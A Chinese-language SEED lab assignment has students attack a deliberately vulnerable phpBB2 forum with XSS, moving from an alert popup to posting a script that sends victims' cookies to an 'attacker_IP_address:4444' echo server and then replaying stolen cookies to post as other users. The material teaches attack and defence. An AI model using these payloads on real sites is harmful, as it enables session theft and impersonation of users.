课外实践作业二：XSS 攻击实验

(1) 实验描述

在本次实验中，我们创建了一个具有 XSS 注入漏洞的 phpBB 版本。我们希望学生可以通过生动地实践更深刻的理解 XSS 的注入原理和方式，并在今后的工作中加强防御的意识和措施。

(2) 实验环境

SEED Ubuntu 镜像

- 环境配置

实验需要三样东西，Firefox、apache、phpBB2（镜像中已有）：

① 运行 Apache Server：镜像已经安装，只需运行命令 %sudo service apache2 start

② phpBB2 web 应用：镜像已经安装，通过 http://www.xsslabphpbb.com 访问，应用程序源代码位于/var/www/XSS/XSSLabPhpbb/

③ 配置 DNS： 上述的 URL 仅仅在镜像内部可以访问，原因是我们修改了/etc/hosts 文件使 http://www.xsslabphpbb.com 指向本机 IP 127.0.0.1。如果需要在其他机器访问，应该修改 hosts 文件，使 URL 映射到 phpBB2 所在机器的 IP。

- Note for Instructors 最好拥有一些背景知识

1. 使用虚拟机，Firefox 的插件 LiveHttpHeaders
2. Javascript 的基础知识和 Java 中的 XMLHttpRequest 对象(不用怕，后面的例程会尽可能的详细，只要读懂即可完成我们的任务)

(3) 实验任务

- 测试漏洞

很简单，请你登录到论坛后发布一个帖子，帖子中包含以下内容：

<script>alert('XSS');</script>

然后打开包含有你发布的帖子的页面——是否看到一个弹出的窗口呢？

- 在消息窗口中显示 Cookie

现在我们已经可以成功地弹出一个窗口，那么我们在窗口里显示一些更有用的信息，比如你的 Cookie。

请你再来发布一个帖子，包含以下内容：

```
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

和前面一样浏览你的帖子，你将看到一个弹出的窗口。

- 获得受害主机的 Cookie

原理我们在**错误！未找到引用源。**节中已经介绍的很清楚了。下面我们具体说一下如何实现：

首先，在前文中提到的可以将用户的 HTTP 请求输出在屏幕上的应用已经在你的机器里。你可以在 Desktop/echoserver/中找到 echoserv 软件，运行方式为：

```
seed@seed-desktop:~/ Desktop/echoserver$   ./echoserv 4444 &
```

其中 4444 是端口号，要和我们在发帖时指定的源路径端口号一致。

然后我们发布帖子，并包含以下信息：

```
<script>
document.write('<img src=http://attacker_IP_address:4444?c=' + document.cookie + ' >');
</script>
```

登出后以另一用户重新登录，访问该帖，你将会在运行 echoserv 的终端上看到这个受害主机的 Cookie。

- 利用 Cookie 仿冒受害主机

在仿冒受害主机前，我们需要了解 phpBB 是怎样发布帖子的。我们可以利用 LiveHTTPHeaders 来得到发消息时用户向服务器所发送的具体 HTTP 请求信息，从而进行分析。LiveHTTPHeaders 已经在 VM 镜像中安装好。选中一个请求，然后点击 Replay 即可看到详细的信息。

我们的任务是，利用得到的用户的 Cookie 假冒用户进行发帖和用户原始消息的修改。由于 phpBB 的限制，用户只有当登录时才可以进行消息的更改和发布，所以我们的任务按照如下的流程进行：

1. 登录到 phpBB 中，发表信息并用 LiveHTTPHeaders 得到该信息的发表请求。
2. 从发表请求中抽取用户的 Cookie 信息和发布消息内容，进行修改
3. 编写 Java 程序，实现向服务器发送 HTTP 请求。
4. 将修改好的消息和 Cookie 信息通过 Java 程序发送到服务器
5. 刷新页面，你将看到修改后的信息。
6. 尝试仿冒用户发布新的消息，而不是修改用户曾经发布的消息

其中，大家可以参考 11.4.3 节 XSS 攻击实例(4)利用 Cookie 信息假冒其他用户发表与修改帖子中所提供的 Java 程序。

如果你对程序有一些疑问，你可以参考：

JDK6 文档：http://java.sun.com/javase/6/docs/api/

Java 协议句柄(Protocol Handlers):

http://java.sun.com/developer/onlineTraining/protocolhandlers/